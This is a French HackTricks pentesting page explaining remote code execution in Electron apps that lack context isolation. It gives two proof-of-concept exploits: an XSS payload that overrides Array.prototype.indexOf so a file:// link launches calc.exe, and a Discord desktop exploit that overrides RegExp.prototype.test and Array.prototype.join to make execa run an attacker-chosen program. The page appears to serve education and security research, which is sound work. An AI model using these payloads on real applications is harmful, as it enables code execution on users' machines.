Français - Ht
HackTricks Training Twitter Linkedin Sponsor

Electron contextIsolation RCE via preload code

Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)!

Autres façons de soutenir HackTricks:

Exemple 1

Exemple de https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=30

Ce code ouvre des liens http(s) avec le navigateur par défaut :

Quelque chose comme file:///C:/Windows/systemd32/calc.exe pourrait être utilisé pour exécuter une calculatrice, le SAFE_PROTOCOLS.indexOf l'en empêche.

Par conséquent, un attaquant pourrait injecter ce code JS via XSS ou une navigation de page arbitraire :

<script>
Array.prototype.indexOf = function(){
return 1337;
}
</script>

Comme l'appel à SAFE_PROTOCOLS.indexOf renverra toujours 1337, l'attaquant peut contourner la protection et exécuter la calc. Exploit final:

<script>
Array.prototype.indexOf = function(){
return 1337;
}
</script>
<a href="file:///C:/Windows/systemd32/calc.exe">CLICK</a>

Consultez les diapositives originales pour d'autres façons d'exécuter des programmes sans avoir de demande de permissions.

Apparemment, une autre façon de charger et d'exécuter du code est d'accéder à quelque chose comme file://127.0.0.1/electron/rce.jar

Exemple 2 : Discord App RCE

Exemple provenant de https://mksben.l0.cm/2020/10/discord-desktop-rce.html?m=1

En vérifiant les scripts de préchargement, j'ai découvert que Discord expose la fonction, qui permet à certains modules autorisés d'être appelés via DiscordNative.nativeModules.requireModule('MODULE-NAME'), dans la page web. Ici, je n'ai pas pu utiliser des modules qui peuvent être utilisés pour RCE directement, tels que le module child_process, mais j'ai trouvé un code où RCE peut être réalisé en remplaçant les méthodes JavaScript intégrées et en interférant avec l'exécution du module exposé.

Voici la preuve de concept. J'ai pu confirmer que l'application calc s'est affichée lorsque j'ai appelé la fonction getGPUDriverVersions qui est définie dans le module appelé "discord_utils" depuis devTools, tout en remplaçant les RegExp.prototype.test et Array.prototype.join.

RegExp.prototype.test=function(){
return false;
}
Array.prototype.join=function(){
return "calc";
}
DiscordNative.nativeModules.requireModule('discord_utils').getGPUDriverVersions();

La fonction getGPUDriverVersions tente d'exécuter le programme en utilisant la bibliothèque "execa", comme suit :

module.exports.getGPUDriverVersions = async () => {
if (process.platform !== 'win32') {
return {};
}

const result = {};
const nvidiaSmiPath = `${process.env['ProgramW6432']}/NVIDIA Corporation/NVSMI/nvidia-smi.exe`;

try {
result.nvidia = parseNvidiaSmiOutput(await execa(nvidiaSmiPath, []));
} catch (e) {
result.nvidia = {error: e.toString()};
}

return result;
};

Généralement, execa tente d'exécuter "nvidia-smi.exe", spécifié dans la variable nvidiaSmiPath, cependant, en raison du RegExp.prototype.test et Array.prototype.join remplacés, l'argument est remplacé par "calc" dans le traitement interne de _execa_**.

Plus précisément, l'argument est remplacé en modifiant les deux parties suivantes.

https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L36

https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L55

Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)!

Autres façons de soutenir HackTricks:

PrécédentElectron Desktop AppsSuivantElectron contextIsolation RCE via Electron internal code

Dernière mise à jour